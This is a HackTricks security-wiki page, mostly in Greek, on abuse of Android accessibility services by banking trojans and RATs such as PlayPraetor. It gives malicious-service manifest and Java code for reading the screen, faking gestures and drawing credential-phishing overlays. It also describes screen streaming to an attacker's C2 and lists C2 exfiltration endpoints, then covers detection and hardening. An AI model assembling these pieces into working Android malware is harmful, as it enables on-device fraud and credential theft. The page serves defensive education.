Android Accessibility Service Abuse

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Overview

AccessibilityService δημιουργήθηκε για να βοηθήσει τους χρήστες με αναπηρίες να αλληλεπιδρούν με τις συσκευές Android. Δυστυχώς, οι ίδιες ισχυρές APIs αυτοματοποίησης (παγκόσμια πλοήγηση, είσοδος κειμένου, αποστολή χειρονομιών, παράθυρα επικαλύψεων…) μπορούν να χρησιμοποιηθούν από κακόβουλο λογισμικό για να αποκτήσουν πλήρη απομακρυσμένο έλεγχο της συσκευής χωρίς δικαιώματα root.

Οι σύγχρονοι τραπεζικοί Trojan και Remote-Access-Trojans (RATs) όπως οι PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda και πολλοί άλλοι ακολουθούν την ίδια συνταγή:

  1. Κοινωνική μηχανική για να πείσουν το θύμα να ενεργοποιήσει μια κακόβουλη υπηρεσία προσβασιμότητας (η άδεια BIND_ACCESSIBILITY_SERVICE θεωρείται "υψηλού κινδύνου" και απαιτεί ρητή ενέργεια από τον χρήστη).
  2. Εκμετάλλευση της υπηρεσίας για
  • να καταγράψει κάθε γεγονός UI & κείμενο που εμφανίζεται στην οθόνη,
  • να εισάγει συνθετικές χειρονομίες (dispatchGesture) και παγκόσμιες ενέργειες (performGlobalAction) για να αυτοματοποιήσει οποιαδήποτε εργασία επιθυμεί ο χειριστής,
  • να σχεδιάσει επικαλύψεις πλήρους οθόνης πάνω από νόμιμες εφαρμογές χρησιμοποιώντας τον τύπο παραθύρου TYPE_ACCESSIBILITY_OVERLAY (χωρίς προτροπή SYSTEM_ALERT_WINDOW!),
  • να χορηγήσει σιωπηλά πρόσθετες άδειες χρόνου εκτέλεσης κάνοντας κλικ στα συστήματα διαλόγου εκ μέρους του θύματος.
  1. Εξαγωγή δεδομένων ή εκτέλεση On-Device-Fraud (ODF) σε πραγματικό χρόνο ενώ ο χρήστης κοιτάζει μια απολύτως φυσιολογική οθόνη.

Requesting the permission

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Το συνοδευτικό XML καθορίζει πώς θα φαίνεται το ψεύτικο παράθυρο διαλόγου:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Απομακρυσμένες βασικές αυτοματοποιήσεις διεπαφής χρήστη

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Με μόνο αυτές τις δύο APIs, ένας επιτιθέμενος μπορεί να:

  • Ξεκλειδώσει την οθόνη, να ανοίξει την τραπεζική εφαρμογή, να πλοηγηθεί στο UI tree της και να υποβάλει μια φόρμα μεταφοράς.
  • Να αποδεχτεί κάθε διάλογο άδειας που εμφανίζεται.
  • Να εγκαταστήσει/ενημερώσει επιπλέον APKs μέσω της πρόθεσης του Play Store.

Πρότυπα κακοποίησης

1. Phishing με Overlay (Συλλογή Διαπιστευτηρίων)

Ένα διαφανές ή αδιαφανές WebView προστίθεται στον διαχειριστή παραθύρων:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Ο θύμα πληκτρολογεί διαπιστευτήρια στη ψεύτικη φόρμα ενώ η εφαρμογή στο παρασκήνιο λαμβάνει τις ίδιες κινήσεις – ποτέ δεν εμφανίζεται ύποπτη προτροπή "σχεδίαση πάνω από άλλες εφαρμογές".

Λεπτομερής παράδειγμα: η ενότητα Accessibility Overlay Phishing στη σελίδα Tapjacking.

2. Αυτοματοποίηση απάτης στη συσκευή

Οικογένειες κακόβουλου λογισμικού όπως το PlayPraetor διατηρούν ένα μόνιμο κανάλι WebSocket όπου ο χειριστής μπορεί να εκδίδει εντολές υψηλού επιπέδου (init, update, alert_arr, report_list, …). Η υπηρεσία μεταφράζει αυτές τις εντολές σε χαμηλού επιπέδου κινήσεις, επιτυγχάνοντας μη εξουσιοδοτημένες συναλλαγές σε πραγματικό χρόνο που παρακάμπτουν εύκολα την πολυπαραγοντική αυθεντικοποίηση που σχετίζεται με αυτή τη συσκευή.

3. Ροή οθόνης & παρακολούθηση

Συνδυάζοντας το MediaProjection API με μια βιβλιοθήκη πελάτη RTMP, το RAT μπορεί να μεταδώσει το ζωντανό framebuffer στο rtmp://<c2>:1935/live/<device_id>, δίνοντας στον αντίπαλο τέλεια επίγνωση της κατάστασης ενώ η μηχανή προσβασιμότητας οδηγεί το UI.


PlayPraetor – ροή εντολών & ελέγχου

  1. HTTP(S) heartbeat – επαναλάβετε μια σκληρά κωδικοποιημένη λίστα μέχρι να απαντήσει ένα τομέας POST /app/searchPackageName με το ενεργό C2.
  2. WebSocket (port 8282) – αμφίδρομες εντολές JSON:
  • update – σπρώξτε νέα conf/APKs
  • alert_arr – ρυθμίστε πρότυπα επικάλυψης
  • report_list – στείλτε λίστα στοχευμένων ονομάτων πακέτων
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – ζωντανή ροή οθόνης/βίντεο.
  2. REST exfiltration
  • /app/saveDevice (δακτυλικό αποτύπωμα)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (τραπεζικά διαπιστευτήρια)

Η AccessibilityService είναι η τοπική μηχανή που μετατρέπει αυτές τις εντολές cloud σε φυσικές αλληλεπιδράσεις.


Ανίχνευση κακόβουλων υπηρεσιών προσβασιμότητας

  • adb shell settings get secure enabled_accessibility_services
  • Ρυθμίσεις → Προσβασιμότητα → Ληφθείσες υπηρεσίες – αναζητήστε εφαρμογές που δεν προέρχονται από το Google Play.
  • Λύσεις MDM / EMM μπορούν να επιβάλουν ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) για να αποκλείσουν τις υπηρεσίες που έχουν εγκατασταθεί εκτός του καταστήματος.
  • Αναλύστε τις τρέχουσες υπηρεσίες:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Συστάσεις ενίσχυσης για προγραμματιστές εφαρμογών

  • Σημειώστε ευαίσθητες προβολές με android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Συνδυάστε setFilterTouchesWhenObscured(true) με FLAG_SECURE για να αποτρέψετε την κατάληψη tap/επικάλυψης.
  • Ανιχνεύστε επικάλυψεις με την κλήση WindowManager.getDefaultDisplay().getFlags() ή το API ViewRootImpl.
  • Αρνηθείτε να λειτουργήσετε όταν είναι ενεργό Settings.canDrawOverlays() ή μια μη αξιόπιστη υπηρεσία προσβασιμότητας.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks